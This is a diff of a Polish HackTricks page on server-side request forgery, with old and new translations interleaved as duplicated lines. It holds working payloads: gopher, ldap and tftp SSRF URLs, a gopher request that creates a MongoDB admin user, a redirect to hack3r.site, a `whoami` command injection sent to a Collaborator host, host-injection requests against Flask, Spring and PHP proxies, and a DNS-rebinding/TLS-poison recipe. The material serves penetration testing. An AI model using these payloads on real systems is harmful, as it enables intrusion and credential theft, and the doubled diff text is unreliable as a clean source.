* Zidentyfikowany jako protokół do bezpiecznego transferu plików za pomocą secure shell, podano przykład, jak skrypt PHP mógłby zostać wykorzystany do połączenia z złośliwym serwerem SFTP: `url=sftp://generic.com:11111/`
* **TFTP://**
* Protokół Trivial File Transfer Protocol, działający w oparciu o UDP, jest wspomniany z przykładem skryptu PHP zaprojektowanego do wysłania żądania do serwera TFTP. Wysyłane jest żądanie TFTP do 'generic.com' na porcie '12346' dla pliku 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* Protokół Trivial File Transfer Protocol, działający w trybie UDP, jest wspomniany z przykładem skryptu PHP zaprojektowanego do wysłania żądania do serwera TFTP. Wysyłane jest żądanie TFTP do 'generic.com' na porcie '12346' dla pliku 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* **LDAP://**
* Ten segment obejmuje protokół Lightweight Directory Access Protocol, podkreślając jego wykorzystanie do zarządzania i dostępu do rozproszonych usług informacyjnych katalogów przez sieci IP. Komunikacja z serwerem LDAP na localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* Ten segment obejmuje protokół Lightweight Directory Access Protocol, podkreślając jego wykorzystanie do zarządzania i uzyskiwania dostępu do rozproszonych usług informacyjnych katalogów w sieciach IP. Komunikacja z serwerem LDAP na localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* **SMTP**
* Opisano metodę wykorzystania podatności SSRF do interakcji z usługami SMTP na localhost, w tym kroki do ujawnienia wewnętrznych nazw domen i dalsze działania śledcze na podstawie tych informacji.
```
@ -75,7 +75,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
4. connect
```
* **Curl URL globbing - Bypass WAF**
* Jeśli SSRF jest wykonywane przez **curl**, curl posiada funkcję o nazwie [**URL globbing**](https://everything.curl.dev/cmdline/globbing), która może być przydatna do ominięcia WAFów. Na przykład w tym [**opisie**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) znajdziesz przykład **przechodzenia ścieżek za pomocą protokołu `file`**:
* Jeśli SSRF jest wykonywane przez **curl**, curl posiada funkcję o nazwie [**URL globbing**](https://everything.curl.dev/cmdline/globbing), która może być przydatna do ominięcia WAFów. Na przykład w tym [**opisie**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) znajdziesz ten przykład **przechodzenia ścieżki za pomocą protokołu `file`**:
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
@ -117,6 +117,8 @@ header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
{% endcode %}
#### Gopher MongoDB -- Utwórz użytkownika o nazwie użytkownika=admin z hasłem=admin123 i uprawnieniami=administrator
```bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
@ -128,11 +130,11 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
```
## SSRF za pośrednictwem nagłówka Referrer i innych
Oprogramowanie analityczne na serwerach często rejestruje nagłówek Referrer w celu śledzenia przychodzących linków, praktyka ta nieumyślnie narazia aplikacje na podatność na ataki typu Server-Side Request Forgery (SSRF). Dzieje się tak dlatego, że takie oprogramowanie może odwiedzać zewnętrzne adresy URL wymienione w nagłówku Referrer w celu analizy treści witryny odsyłającej. Aby odkryć te podatności, zaleca się użycie wtyczki Burp Suite "**Collaborator Everywhere**", wykorzystującej sposób przetwarzania nagłówka Referer przez narzędzia analityczne w celu zidentyfikowania potencjalnych powierzchni ataku typu SSRF.
Oprogramowanie analityczne na serwerach często rejestruje nagłówek Referrer, aby śledzić przychodzące linki, praktyka ta nieumyślnie narazia aplikacje na podatności na Server-Side Request Forgery (SSRF). Dzieje się tak dlatego, że takie oprogramowanie może odwiedzać zewnętrzne adresy URL wymienione w nagłówku Referrer w celu analizy treści witryny odsyłającej. Aby odkryć te podatności, zaleca się korzystanie z wtyczki Burp Suite "**Collaborator Everywhere**", wykorzystując sposób przetwarzania nagłówka Referer przez narzędzia analityczne w celu zidentyfikowania potencjalnych powierzchni ataku SSRF.
## SSRF za pośrednictwem danych SNI z certyfikatu
Konfiguracja błędu, która mogłaby umożliwić połączenie z dowolnym backendem poprzez prosty setup, jest zilustrowana na przykładzie konfiguracji Nginx:
Konfiguracja, która mogłaby umożliwić połączenie z dowolnym backendem poprzez prosty setup, jest zilustrowana na przykładzie konfiguracji Nginx:
```
stream {
server {
@ -149,7 +151,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
## [Przesyłanie pliku za pomocą Wget](../file-upload/#wget-file-upload-ssrf-trick)
## SSRF z Wstrzyknięciem Poleceń
## SSRF z Wstrzyknięciem Polecenia
Warto spróbować użyć ładunku takiego jak: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
@ -169,7 +171,7 @@ Utwórz kilka sesji i spróbuj pobrać ciężkie pliki, wykorzystując SSRF z se
## SSRF Przekierowanie do Gophera
Dla niektórych eksploatacji możesz potrzebować **wysłania odpowiedzi przekierowania** (potencjalnie do użycia innego protokołu, jak np. gopher). Tutaj znajdziesz różne kody Pythona do odpowiedzi z przekierowaniem:
Dla niektórych eksploatacji możesz potrzebować **wysłania odpowiedzi przekierowania** (potencjalnie do użycia innego protokołu, takiego jak gopher). Tutaj znajdziesz różne kody Pythona do odpowiedzi z przekierowaniem:
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
@ -204,45 +206,116 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
Zdobądź dostęp już dziś:
Użyj [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Omijanie CORS/SOP za pomocą DNS Rebidding
## Źle skonfigurowane serwery proxy podatne na SSRF
Jeśli masz **problemy** z **wyciekiem treści z lokalnego IP** z powodu **CORS/SOP**, **DNS Rebidding** może zostać użyty do ominięcia tej ograniczenia:
Sztuczki [**z tego posta**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
### Flask
<details>
<summary>Kod podatnego serwera proxy Flask</summary>
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
if __name__ == "__main__":
app.run(threaded=False)
```
</details>
Flask pozwala na użycie **`@`** jako początkowego znaku, co pozwala ustawić **początkową nazwę hosta jako nazwę użytkownika** i wstrzyknąć nową. Atak żądania:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
```
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
Kod podatny:
<figure><img src="../../.gitbook/assets/image (729).png" alt=""><figcaption></figcaption></figure>
Odkryto, że jest możliwe **rozpoczęcie ścieżki** żądania od znaku **`;`**, co pozwala następnie użyć **`@`** i wstrzyknąć nowy host do dostępu. Żądanie ataku:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
### Wbudowany serwer WWW w PHP <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
<details>
<summary>Narażony kod PHP</summary>
```php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
echo "\n\n";
$response = file_get_contents($proxy_site);
var_dump($response);
?>
```
</details>
PHP pozwala na użycie **znaku `*` przed ukośnikiem w ścieżce** URL, jednak ma inne ograniczenia, takie jak to, że może być używany tylko dla ścieżki głównej `/` i że kropki `.` nie są dozwolone przed pierwszym ukośnikiem, dlatego konieczne jest użycie zakodowanego adresu IP bez kropek na przykład:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
```
## Bypassowanie CORS/SOP za pomocą DNS Rebidding
Jeśli masz **problemy** z **eksfiltracją zawartości z lokalnego IP** z powodu **CORS/SOP**, można użyć **DNS Rebidding** do obejścia tego ograniczenia:
{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md](../cors-bypass.md)
{% endcontent-ref %}
### Zautomatyzowane DNS Rebidding
### Automatyzacja DNS Rebidding
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) to narzędzie do przeprowadzania ataków [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Zawiera niezbędne komponenty do ponownego przypisania adresu IP nazwy DNS serwera atakującego do adresu IP maszyny docelowej i serwowania ładunków ataku w celu wykorzystania podatnego oprogramowania na maszynie docelowej.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) to narzędzie do przeprowadzania ataków [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Zawiera niezbędne składniki do ponownego przypisania adresu IP serwera atakującego do nazwy DNS maszyny docelowej i dostarczania ładunków ataku w celu wykorzystania podatnego oprogramowania na maszynie docelowej.
Sprawdź również **publicznie działający serwer** pod adresem [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
Sprawdź również **publicznie działający serwer pod adresem** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
## DNS Rebidding + ID Sesji TLS/Bilet Sesji
## DNS Rebidding + ID sesji TLS/Bilet sesji
Wymagania:
* **SSRF**
* **Sesje TLS wychodzące**
* **Rzeczy na lokalnych portach**
* **Zasoby na lokalnych portach**
Atak:
1. Poproś użytkownika/bota o **dostęp** do **domeny** kontrolowanej przez **atakującego**
2. **TTL** rekordu **DNS** wynosi **0** sekund (co spowoduje, że ofiara wkrótce ponownie sprawdzi IP domeny)
3. Między ofiarą a domeną atakującego tworzona jest **połączenie TLS**. Atakujący wprowadza **ładunek wewnątrz** **ID Sesji lub Biletu Sesji**.
4. **Domena** rozpocznie **nieskończoną pętlę** przekierowań na **siebie**. Celem tego jest zmuszenie użytkownika/bota do dostępu do domeny, aż ponownie wykona **żądanie DNS** domeny.
5. W żądaniu DNS podawany jest teraz **prywatny adres IP** (np. 127.0.0.1)
6. Użytkownik/bot spróbuje **ponownie nawiązać połączenie TLS** i w tym celu wyśle **ID Sesji/Bilet Sesji** (w którym zawarty był **ładunek** atakującego). Gratulacje, udało ci się zmusić **użytkownika/bota do zaatakowania samego siebie**.
2. **TTL** DNS wynosi **0** sekund (co spowoduje, że ofiara wkrótce ponownie sprawdzi IP domeny)
3. Między ofiarą a domeną atakującego tworzona jest **połączenie TLS**. Atakujący wprowadza **ładunek wewnątrz** **ID sesji lub biletu sesji**.
4. **Domena** rozpocznie **nieskończoną pętlę** przekierowań na **siebie samego**. Celem tego jest zmuszenie użytkownika/bota do dostępu do domeny, aż ponownie wykona **żądanie DNS** dla domeny.
5. W żądaniu DNS podawany jest **prywatny adres IP** (np. 127.0.0.1)
6. Użytkownik/bot spróbuje **ponownie nawiązać połączenie TLS** i w tym celu wyśle **ID sesji/Bilet sesji** (w którym zawarty był **ładunek** atakującego). Gratulacje, udało ci się zmusić **użytkownika/bota do zaatakowania samego siebie**.
Zauważ, że podczas tego ataku, jeśli chcesz zaatakować localhost:11211 (_memcache_), musisz sprawić, aby ofiara nawiązała początkowe połączenie z www.atakujący.com:11211 (port **musi zawsze być taki sam**).\
Aby **przeprowadzić ten atak, możesz skorzystać z narzędzia**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Aby uzyskać **więcej informacji**, zapoznaj się z prezentacją, w której ten atak jest wyjaśniony: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
Zauważ, że podczas tego ataku, jeśli chcesz zaatakować localhost:11211 (_memcache_), musisz sprawić, aby ofiara nawiązała początkowe połączenie z www.atakujący.com:11211 (port musi być zawsze taki sam). Aby **przeprowadzić ten atak, możesz użyć narzędzia**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Aby uzyskać **więcej informacji**, zapoznaj się z prezentacją, w której wyjaśniono ten atak: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
## Ślepy SSRF
@ -250,11 +323,11 @@ Różnica między ślepym SSRF a nieślepym polega na tym, że w ślepym nie mo
### SSRF oparty na czasie
**Sprawdzając czas** odpowiedzi serwera, można **ustalić, czy zasób istnieje czy nie** (może zajmie więcej czasu dostęp do istniejącego zasobu niż do nieistniejącego)
**Sprawdzając czas** odpowiedzi serwera, można **ustalić, czy zasób istnieje czy nie** (może zajmie więcej czasu dostęp do istniejącego zasobu niż do nieistniejącego).
## Wykorzystanie chmury do SSRF
## Eksploatacja SSRF w chmurze
Jeśli znajdziesz podatność SSRF na maszynie działającej w środowisku chmurowym, możesz uzyskać interesujące informacje na temat środowiska chmurowego, a nawet poświadczenia:
Jeśli znajdziesz podatność na SSRF w maszynie działającej w środowisku chmurowym, możesz uzyskać interesujące informacje na temat środowiska chmurowego, a nawet poświadczenia:
{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md](cloud-ssrf.md)
@ -262,7 +335,7 @@ Jeśli znajdziesz podatność SSRF na maszynie działającej w środowisku chmur
## Platformy podatne na SSRF
Kilka znanych platform zawiera lub zawierała podatności na SSRF, sprawdź je tutaj:
Kilka znanych platform zawiera lub zawierało podatności na SSRF, sprawdź je tutaj:
{% content-ref url="ssrf-vulnerable-platforms.md" %}
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
@ -272,7 +345,7 @@ Kilka znanych platform zawiera lub zawierała podatności na SSRF, sprawdź je t
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
Narzędzie do wykrywania i wykorzystywania podatności na SSRF
Narzędzie do wykrywania i eksploatacji podatności na SSRF
### [Gopherus](https://github.com/tarunkant/Gopherus)
@ -291,7 +364,7 @@ To narzędzie generuje ładunki Gopher dla:
* [Post na blogu o użyciu SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_ to skaner podatności _Java RMI_, który obsługuje operacje ataków dla większości powszechnych podatności _Java RMI_. Większość dostępnych operacji obsługuje opcję `--ssrf`, aby generować ładunek _SSRF_ dla żądanej operacji. W połączeniu z opcją `--gopher` można bezpośrednio generować gotowe ładunki _gopher_.
_remote-method-guesser_ to skaner podatności _Java RMI_, który obsługuje operacje ataku dla większości powszechnych podatności _Java RMI_. Większość dostępnych operacji obsługuje opcję `--ssrf`, aby generować ładunek _SSRF_ dla żądanej operacji. W połączeniu z opcją `--gopher` można bezpośrednio generować gotowe ładunki _gopher_.
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
@ -306,25 +379,4 @@ SSRF Proxy to wielowątkowy serwer proxy HTTP zaprojektowany do tunelowania ruch
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)